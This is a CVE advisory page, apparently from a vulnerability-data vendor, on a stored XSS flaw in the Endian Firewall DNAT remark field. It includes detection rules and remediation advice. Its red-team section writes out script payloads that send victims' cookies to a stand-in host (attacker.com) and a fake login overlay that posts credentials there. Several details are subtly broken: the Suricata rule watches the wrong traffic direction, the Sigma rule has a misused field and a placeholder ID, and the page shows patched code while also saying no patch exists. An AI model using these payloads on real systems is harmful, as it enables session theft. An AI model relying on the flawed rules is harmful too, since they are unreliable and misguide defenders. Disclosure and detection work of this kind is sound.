CVE-2026-34805
Executive Summary
CVE-2026-34805 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the remark parameter in the /cgi-bin/dnat.cgi endpoint. This injected script is stored on the server and executed when other authenticated users view the affected page, leading to potential session hijacking, data theft, or further compromise within the firewall management interface.
The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and has a CVSS v3.1 base score of 4.8 (Medium). The attack vector is network-based, requires low complexity, low privileges, and user interaction. The scope is changed, meaning the impact extends beyond the vulnerable component.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby). It is a custom web application component within the Endian Firewall product. No supply chain implications have been identified.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): Low (L) – The attacker must have valid credentials to the firewall interface.
- User Interaction (UI): Required (R) – A victim user must view the affected page.
- Scope (S): Changed (C) – The impact may affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited modification of data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS allows for persistent attacks against other administrators.
Deep Dive & Mechanics
The vulnerability exists in the /cgi-bin/dnat.cgi CGI script, which handles Destination Network Address Translation (DNAT) rules. The remark parameter is used to add a descriptive comment to a DNAT rule. The application fails to sanitize or encode this input before storing it in the backend database or configuration file. When the DNAT rules are displayed in the web interface, the stored remark value is rendered without proper escaping, allowing the execution of injected HTML and JavaScript.
The attack flow:
- An authenticated attacker logs into the Endian Firewall web interface.
- The attacker navigates to the DNAT rule management page and creates or edits a rule.
- In the
remarkfield, the attacker injects a malicious payload, such as:<script>alert('XSS')</script> - The payload is stored in the system.
- When another administrator views the DNAT rules page, the injected script executes in their browser context.
This can be used to steal session cookies, perform actions on behalf of the victim, or redirect to phishing pages.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# /cgi-bin/dnat.cgi (simplified)
remark = get_param('remark')
save_to_database(remark)
# When displaying:
print("<td>" + remark + "</td>")
Patched Code (Conceptual):
# /cgi-bin/dnat.cgi (simplified)
import html
remark = get_param('remark')
safe_remark = html.escape(remark)
save_to_database(safe_remark)
# When displaying:
print("<td>" + safe_remark + "</td>")
The patched version uses HTML escaping to neutralize any injected HTML or JavaScript before storage and display.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid credentials for the Endian Firewall web interface.
- Network access to the management interface.
Exploitation Steps:
- Log in to the Endian Firewall web interface.
- Navigate to the DNAT rules section (typically under Firewall > NAT > DNAT).
- Create a new DNAT rule or edit an existing one.
- In the
remarkfield, inject a payload. Example for cookie theft:<script> new Image().src='http://attacker.com/steal?cookie='+document.cookie; </script> - Save the rule.
- Wait for another administrator to view the DNAT rules page. The script will execute and send the victim's cookies to the attacker's server.
Alternative Payloads:
- Session hijacking:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script> - Phishing overlay:
<script> var overlay = document.createElement('div'); overlay.innerHTML = '<form action="http://attacker.com/login" method="POST"><input type="text" name="user"><input type="password" name="pass"><input type="submit"></form>'; document.body.appendChild(overlay); </script>
Blue Team
Detection:
- Monitor for unusual
remarkvalues in DNAT rules containing<script>tags or event handlers. - Review web server logs for requests to
/cgi-bin/dnat.cgiwith suspicious parameters. - Use the detection rules provided in the Detection Engineering section.
Mitigation:
- Apply input validation and output encoding to the
remarkparameter. - Implement Content Security Policy (CSP) headers to restrict script execution.
- Regularly audit DNAT rules for unexpected content.
- Restrict access to the management interface to trusted IPs only.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/cgi-bin/dnat.cgiwithremarkparameter containing<script>tags or JavaScript event handlers. - Outbound connections from the firewall to attacker-controlled domains (e.g., for cookie exfiltration).
- HTTP requests to
Host IOCs:
- DNAT rules with
remarkfields containing HTML/JavaScript code. - Unusual entries in the firewall configuration database or files.
- DNAT rules with
Log IOCs:
- Web server logs showing repeated attempts to modify DNAT rules with suspicious
remarkvalues.
- Web server logs showing repeated attempts to modify DNAT rules with suspicious
Detection Engineering
YARA Rule
rule detect_endian_xss_remark {
meta:
description = "Detects stored XSS payloads in Endian Firewall DNAT remark fields"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-34805"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/si
$event_handler = /on\w+\s*=\s*['\"].*?['\"]/si
$javascript_url = /javascript\s*:/si
condition:
any of them
}
Sigma Rule
title: Endian Firewall Stored XSS via DNAT Remark
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2026-34805 by injecting XSS payloads into the remark parameter of /cgi-bin/dnat.cgi
author: Valters IT
date: 2026-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/cgi-bin/dnat.cgi'
cs-uri-query|contains: 'remark='
filter:
cs-uri-query|contains:
- '<script'
- 'onload='
- 'onerror='
- 'javascript:'
condition: selection and filter
falsepositives:
- Legitimate use of HTML in remarks (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-34805 - Endian Firewall Stored XSS via DNAT Remark";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/dnat.cgi"; http_uri;
content:"remark="; http_client_body;
pcre:"/<script[^>]*>.*?<\/script>/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch is available.
- Input Validation: Implement server-side validation to reject or sanitize HTML/JavaScript in the
remarkparameter. - Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering in the web interface.
- Content Security Policy: Add CSP headers to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Long-term Measures:
- Conduct a security audit of all CGI scripts for similar injection vulnerabilities.
- Implement a Web Application Firewall (WAF) to filter malicious payloads.
- Enforce least privilege for administrative accounts.
- Enable logging and monitoring for suspicious activities.
Workaround:
- Restrict access to the management interface to a trusted network segment.
- Disable the DNAT rule remark feature if not essential.
Valters IT
{/* [Security Hash: C2510469021E485CCF6A8A7B] */}